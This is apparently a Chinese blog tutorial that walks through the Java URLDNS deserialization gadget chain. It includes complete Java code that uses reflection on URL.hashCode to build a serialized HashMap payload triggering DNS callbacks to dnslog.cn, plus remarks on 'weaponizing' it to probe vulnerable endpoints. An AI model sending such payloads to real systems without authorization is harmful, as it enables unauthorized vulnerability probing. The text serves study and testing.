dns链子


hashmap实现了Serializable接口,也重写了readObject,这是一个很常见的类,因此它可以作为起点(它可以被序列化)
我们new一个hashmap类

这里当我们序列化的时候
会进入执行该对象(hashmap)的readObject方法,我们跟进去看

在它的readObjct方法中又调用了hash方法,我们继续跟进去看

里边调用的hash方法又调用了key的hashcode方法
进去hashcode看一下,进去发现也只是实现,而这个key,我们其实这里可以看一下url类的hashcode方法

写进URL类看看,看到后边又调用了hashcode,跟进去看看
(这里可以看到条件,传入的key不为空会调用hashcode方法)

接了个参数(URL u)
看到这里会对这个参数进行dns解析,好的sink就到这里啦
接下来我们进行构造
总结一下调用链
1 2 3 4 5 6 7 8 9
| HashMap().ReadObject() putval() hash(key) key.hashcode() URL.hashcode() URLStreamHandler类的hashcode() getHostAddress(u)
|

所以我们需要把URL作为key放进这个hashmap,从而能在反序列化这个hashmap对象的时候进去执行hash方法,hash方法调用了url(key)自己的hashcode方法,new的url自己写的传参就是域名,满足条件之后进去
url(key)自己的hashcode方法实际上调用了URLStreamHandler类的hashcode(),从而解析了域名
看起来是万无一失
我们试试执行这个代码

但实际上我们发现,仅仅只是序列化操作就已经执行了解析
我们跟进去看看原因
原来在调用put方法的时候就已经执行hash了,所以说我们搞序列化加反序列化实际上是执行了两遍dns解析
1 2 3
| public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
|
该怎么绕过这个?我们考虑能不能不用put,用别的方法把key扔进map里边,但是很明显没有
那么我们只能把url扔进去,思考该怎么样才能让其不去调用后续的方法
1 2 3 4 5 6 7 8 9 10
| public synchronized int hashCode() { if (hashCode != -1) return hashCode;
hashCode = handler.hashCode(this); return hashCode; }
--------------------- private int hashCode = -1;
|
我们发现URL类实际上,如果说hashcode不为-1的话就直接return了,可以看到在URL类里边默认hashcode是-1
所以才能进行下边的
这里用反射来修改URL类的hashmap为13(不是-1就行,这样直接返回)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
URL url = new URL("https://u9rxrp.dnslog.cn"); objectObjectHashMap.put(url,"111");
Class<? extends URL> urlClass = url.getClass(); Field hashCode = urlClass.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,13);
Serialize(objectObjectHashMap); Deserialize(Serialize(objectObjectHashMap)); }
|
但是这样的话,正常咱们要反序列化进行来解析dns也失败了,因为这修改参数不只影响序列化的hashcode参数导致没法继续
解决方法就是在put之后,再把hashcode参数修改回来
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| package org.example.urldns;
import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class Main { public static byte[] Serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.close(); return byteArrayOutputStream.toByteArray(); }
public static void Deserialize(byte[] objstream) throws IOException, ClassNotFoundException { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(objstream); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); System.out.println(objectInputStream.readObject().getClass().getName());
}
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
URL url = new URL("https://itwh8h.dnslog.cn");
Class urlClass = url.getClass(); Field hashCode = urlClass.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,13);
objectObjectHashMap.put(url,"111");
hashCode.set(url,-1); Serialize(objectObjectHashMap); Deserialize(Serialize(objectObjectHashMap)); } }
|

序列化时候没有解析

反序列化的时候解析了
具体用的话,就是在我们进行反序列化可控的地方,就直接执行这一套拿个序列化的数据直接上
一般用于探测,因为这些类都很常见,但是万一没有的话就gg
武器化的话,就是把这个url的那个dns随机生成然后给一个序列化数据就行